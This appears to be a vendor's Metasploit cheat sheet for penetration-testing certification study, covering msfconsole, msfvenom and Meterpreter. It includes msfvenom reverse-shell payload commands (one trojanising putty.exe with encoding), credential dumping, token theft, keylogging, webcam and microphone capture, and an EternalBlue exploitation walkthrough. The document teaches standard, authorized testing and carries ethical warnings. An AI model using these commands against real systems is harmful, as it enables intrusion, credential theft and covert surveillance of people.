



• PENETRATION TESTING REFERENCE

Metasploit Cheat Sheet 2026

Complete Commands for msfconsole, msfvenom & Meterpreter — the definitive quick-reference for exploitation, payload generation, and post-exploitation workflows.

msfconsole

| msfvenom

Meterpreter

■ Post-
Exploitation

■ Auxiliary
Modules

UPDATED FOR

Metasploit Framework 6.5

PAGES

10 · Print-Ready A4

USE CASE

Authorized Testing Only





Table of Contents

Click any entry to jump to that section

This guide is organized into eight focused sections — from your very first `msfconsole` launch to a complete real-world exploitation workflow. Use it as a live reference during labs, CTFs, or authorized penetration tests.

01	Quick Start & Essential Commands	p. 03
02	Core msfconsole Commands & Module Management	p. 04
03	Payloads & msfvenom Guide	p. 05
04	Meterpreter Commands — Part 1	p. 06
05	Meterpreter Commands — Part 2	p. 07
06	Session Management, Auxiliary & Post-Exploitation	p. 08
07	Real-World Workflow Example	p. 09
08	Quick Reference Card & Ethical Warning	p. 10

How To Use This Sheet

Each command table lists the exact syntax on the left and a plain-English description on the right. Cyan text inside tables and code blocks marks literal commands — type them exactly as shown, replacing ALL-CAPS placeholders like `RHOSTS` or `LPORT` with your own values.

Skill Level

Written for beginners through intermediate learners preparing for certifications such as OSCP, PenTest+, and eJPT. Every command shown is standard, publicly documented Metasploit Framework functionality.



01

Quick Start & Essential Commands

Launching Metasploit and setting up your database

• Launching Metasploit

TERMINAL

```
# Standard launch
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Auto-run a resource script
msfconsole -r setup.rc
# Launch into a specific workspace
msfconsole -q -x "workspace -a client1"
```

• Database Setup

TERMINAL

```
# Start PostgreSQL service
sudo systemctl start postgresql
# Initialize the DB (first time only)
sudo msfdb init
# Check DB connection status
msfdb status
# Inside msfconsole, confirm link
db_status
```

• Workspace & Data Management

COMMAND	DESCRIPTION
<code>workspace</code>	List all workspaces
<code>workspace -a <name></code>	Create & switch workspace
<code>db_nmap -sV <target></code>	Scan & auto-import to DB
<code>hosts</code>	List discovered hosts
<code>services</code>	List discovered services
<code>vulns</code>	List recorded vulnerabilities
<code>db_export -f xml out.xml</code>	Export data for reporting

• Most-Used msfconsole Commands

COMMAND	DESCRIPTION
<code>help</code>	List all console commands
<code>search <term></code>	Find exploits / payloads
<code>use <module></code>	Load a module
<code>show options</code>	Show module settings
<code>set <OPT> <val></code>	Configure an option
<code>run / exploit</code>	Execute the module
<code>sessions -l</code>	List active sessions

📌 Pro Tip

Run `db_status` right after launching — a connected database enables host tracking, credential storage, and automatic `db_nmap` import, saving huge amounts of time on multi-host engagements.



02

Core msfconsole Commands

Full command reference for module discovery, configuration & execution

COMMAND	DESCRIPTION
<code>use <module></code>	Select a module by path/index
<code>back</code>	Deselect current module
<code>show exploits</code>	List exploit modules
<code>show payloads</code>	List compatible payloads
<code>show auxiliary</code>	List auxiliary modules
<code>show post</code>	List post-exploit modules
<code>show options</code>	Display module options
<code>show targets</code>	List supported OS targets
<code>show encoders</code>	List payload encoders
<code>show nops</code>	List NOP generators
<code>set <OPT> <val></code>	Set option, this module only
<code>setg <OPT> <val></code>	Set option globally

COMMAND	DESCRIPTION
<code>unset <OPT></code>	Clear a set option
<code>unsetg <OPT></code>	Clear a global option
<code>check</code>	Test vuln, no exploit
<code>run / exploit</code>	Launch against target
<code>exploit -j</code>	Run as background job
<code>exploit -z</code>	Run, skip auto-session
<code>jobs -l</code>	List background jobs
<code>jobs -k <id></code>	Kill a background job
<code>route add <subnet> ...</code>	Pivot via a session
<code>resource <file.rc></code>	Run a saved script
<code>save</code>	Save datastore & settings
<code>version</code>	Show Framework version

• Search Filters & Examples

ADVANCED SEARCH SYNTAX

```
# Search by keyword
search eternalblue
# Filter by module type
search type:exploit smb
# Filter by target platform
search platform:windows type:exploit
```

```
# Filter by CVE identifier
search cve:2023-23397
# Filter by exploit reliability
search rank:excellent type:exploit
# Filter by client-side apps
search app:client platform:windows
```

• Module Management Workflow

1. Find

```
search <term> then use <id or path>
```

2. Configure

```
show options then set RHOSTS ,
set payload
```

3. Verify & Run

```
check to confirm exposure, then
exploit
```



03

Payloads & msfvenom Guide

Staged vs. stageless payloads and standalone generation syntax

• Staged vs. Stageless Payloads

TYPE	NAMING PATTERN	BEHAVIOUR
STAGED	windows/meterpreter/reverse_tcp	Sends a small stager first, which then pulls the full payload over the wire. Smaller initial footprint, needs a compatible handler.
STAGELESS	windows/meterpreter_reverse_tcp	Entire payload is self-contained in one file. Larger size, but more reliable across restrictive networks & simpler handlers.

• msfvenom Core Syntax

GENERAL STRUCTURE

```
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output_file>
```

FLAG	MEANING
-p	Payload path, e.g. windows/x64/meterpreter/reverse_tcp
-f	Output format: exe, elf, apk, raw, war, psh, macho...
-e	Encoder to apply, e.g. x86/shikata_ga_nai
-i	Number of encoding iterations
-a	Target architecture: x86, x64
-x	Template executable to embed the payload into
-o	Output file path

• Real-World Examples

WINDOWS EXE

```
msfvenom -p windows/x64/meterpreter/reverse_tcp  
LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
```

PHP WEB SHELL

```
msfvenom -p php/meterpreter_reverse_tcp  
LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
```

LINUX ELF

```
msfvenom -p linux/x64/meterpreter/reverse_tcp  
LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
```

POWERSHELL

```
msfvenom -p windows/meterpreter/reverse_tcp  
LHOST=10.10.14.5 LPORT=4444 -f psh -o shell.ps1
```

ANDROID APK

```
msfvenom -p android/meterpreter/reverse_tcp  
LHOST=10.10.14.5 LPORT=4444 -o app.apk
```

ENCODED + TEMPLATE EMBED

```
msfvenom -p windows/meterpreter/reverse_tcp  
LHOST=10.10.14.5  
LPORT=4444 -e x86/shikata_ga_nai -i 5 -x putty.exe -  
f exe -o shell.exe
```

Handler Reminder

Every payload needs a matching listener. In msfconsole: use exploit/multi/handler , then set the same PAYLOAD , LHOST and LPORT used at generation time, and run exploit -j -z .





04

Meterpreter Commands — Part 1

System Info, Filesystem & Process management

i System Information

<code>sysinfo</code>	Display OS, hostname, and architecture of the target
<code>getuid</code>	Show the user context Meterpreter is running as
<code>getpid</code>	Show the process ID Meterpreter is running inside
<code>sysinfo -h</code>	Show help for the sysinfo command
<code>background</code>	Send the current session to the background
<code>exit</code>	Terminate the Meterpreter session

f Filesystem Operations

<code>pwd / getwd</code>	Print current working directory on the target
<code>ls / dir</code>	List files in the current remote directory
<code>cd <dir></code>	Change remote working directory
<code>lcd <dir></code>	Change local (attacker) working directory
<code>cat <file></code>	Display contents of a remote file
<code>download <file></code>	Download a file from target to attacker machine
<code>upload <file></code>	Upload a file from attacker to target
<code>edit <file></code>	Edit a remote file using local default editor
<code>rm <file></code>	Delete a file on the target
<code>mkdir <dir></code>	Create a directory on the target
<code>search -f *.doc</code>	Search the filesystem for matching files

p Process Management

<code>ps</code>	List running processes on the target
<code>migrate <pid></code>	Move the Meterpreter session into another process
<code>kill <pid></code>	Terminate a specific process
<code>execute -f cmd.exe -i</code>	Execute a program interactively
<code>run post/windows/manage/migrate</code>	Auto-migrate to a stable process
<code>getpid</code>	Show current Meterpreter process ID

Stability Tip

Right after gaining a session, run `sysinfo` and `getuid` to orient yourself, then `migrate` into a stable, long-running process (e.g. `explorer.exe`) before doing anything intensive — this prevents losing your session if the original process crashes or is closed.



05 Meterpreter Commands — Part 2

Networking, Privilege Escalation & Surveillance

n Networking

<code>ipconfig / ifconfig</code>	Show network interfaces on the target
<code>portfwd add -l 3389 -p 3389 -r <ip></code>	Forward a local port to a remote target port
<code>route</code>	Show / manage the session's routing table for pivoting
<code>arp</code>	Show the target's ARP cache
<code>netstat</code>	Show active network connections on the target

e Privilege Escalation

<code>getsystem</code>	Attempt automated privilege escalation to SYSTEM
<code>use priv</code>	Load the privilege-escalation extension
<code>hashdump</code>	Dump password hashes from the SAM database
<code>steal_token <pid></code>	Steal an access token from another process
<code>impersonate_token <user></code>	Impersonate a captured token
<code>drop_token</code>	Release an impersonated token

s Surveillance

<code>screenshot</code>	Capture a screenshot of the target's active desktop
<code>webcam_list</code>	List available webcams on the target
<code>webcam_snap</code>	Capture a single image from the target's webcam
<code>record_mic -d 10</code>	Record 10 seconds of audio from the microphone
<code>keyscan_start</code>	Begin capturing keystrokes in the background
<code>keyscan_dump</code>	Display captured keystrokes so far
<code>keyscan_stop</code>	Stop the keystroke logger

 Scope Reminder

Surveillance and credential-dumping commands are highly invasive. Only run them within the explicit written scope of an authorized engagement, and always follow your organisation's evidence-handling and data-retention policy.



06

Session Management, Auxiliary & Post-Exploitation

Handling multiple sessions and extending access after a foothold

• Session Management

COMMAND	DESCRIPTION
<code>sessions -l</code>	List all active sessions
<code>sessions -i <id></code>	Interact with a specific session
<code>sessions -k <id></code>	Kill a specific session
<code>sessions -K</code>	Kill all active sessions
<code>sessions -u <id></code>	Upgrade a shell session to Meterpreter
<code>background (Ctrl+Z)</code>	Background the current session

• Job Management

COMMAND	DESCRIPTION
<code>jobs -l</code>	List running background jobs (e.g. listeners)
<code>jobs -k <id></code>	Kill a specific job
<code>jobs -K</code>	Kill all running jobs
<code>handler -H <ip> -P <port> -p <payload></code>	Quickly spin up a matching listener

• Auxiliary Modules

MODULE PATH	PURPOSE
<code>auxiliary/scanner/portscan/tcp</code>	TCP port scanner across a host range
<code>auxiliary/scanner/smb/smb_version</code>	Fingerprint SMB service version
<code>auxiliary/scanner/ssh/ssh_login</code>	Brute-force / validate SSH credentials
<code>auxiliary/scanner/ftp/ftp_version</code>	Fingerprint FTP service & check anonymous login
<code>auxiliary/scanner/http/http_version</code>	Fingerprint HTTP server banners

• Post-Exploitation Modules

MODULE / COMMAND	PURPOSE
<code>run post/multi/recon/local_exploit_suggester</code>	Suggest local privilege-escalation exploits
<code>run post/windows/gather/enum_logged_on_users</code>	Enumerate currently logged-on users
<code>run post/windows/gather/checkvm</code>	Detect whether the target is a virtual machine
<code>run post/multi/gather/env</code>	Dump environment variables from the target
<code>loot</code>	List all evidence/credentials collected this session



07

Real-World Workflow Example

From initial scan to post-exploitation, step by step

1

Scope & Reconnaissance

Confirm written authorization, then discover live hosts and open ports.

```
db_nmap -sV -O 10.10.10.0/24
```

2

Service Enumeration

Identify exact service versions to match against known vulnerabilities.

```
services -p 445 -u
```

3

Vulnerability Search

Search for a matching exploit module for the discovered service.

```
search type:exploit smb ms17-010
```

4

Configure & Verify

Load the module, set target options, and validate exposure before firing.

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
check
```

5

Exploit & Gain Access

Set the payload and listener details, then launch the exploit.

```
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
exploit
```

6

Post-Exploitation Gathering

Once inside, orient yourself and collect situational data.

```
sysinfo
getuid
run post/windows/gather/enum_logged_on_users
```

7

Privilege Escalation

Escalate to the highest available privilege level.

```
getsystem
run post/multi/recon/local_exploit_suggester
```

8

Cleanup & Reporting

Close sessions responsibly and document findings for the client report.

```
sessions -K
db_export -f xml engagement_report.xml
```



08

Quick Reference Card

Ultra-condensed command list for print or second-monitor reference

search <term>

Find a module

use <module>

Load a module

show options

View required settings

set RHOSTS <ip>

Set target

set payload <path>

Choose payload

check

Verify vulnerability

exploit / run

Launch module

sessions -l / -i

List / interact sessions

sysinfo / getuid

Orient in Meterpreter

getsystem

Escalate privileges

hashdump

Dump credential hashes

download / upload

Transfer files

background

Send session to background

msfvenom -p ... -f exe -o out

Generate a payload

db_nmap -sV <target>

Scan + auto-import to DB

jobs -l / -k

Manage background listeners



Legal & Ethical Use Warning

Metasploit Framework is a powerful security tool intended **exclusively for authorized penetration testing, security research, and educational use**. Using these commands against any system, network, or account without explicit, documented, written permission from its owner is illegal in most jurisdictions and may violate laws such as the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide.

- Always obtain **signed written authorization** before testing any system you do not personally own.
- Stay strictly within the agreed **scope, dates, and rules of engagement**.
- Handle any data, credentials, or access gained with strict confidentiality and care.
- Practice on legal platforms: your own lab, Hack The Box, TryHackMe, or similar authorized ranges.
- PassITExams and its authors accept no liability for misuse of the information in this document.



CREATED BY
PassITExams

FREE RESOURCES
passitexams.com

VERSION
Metasploit 6.5 · 2026 Edition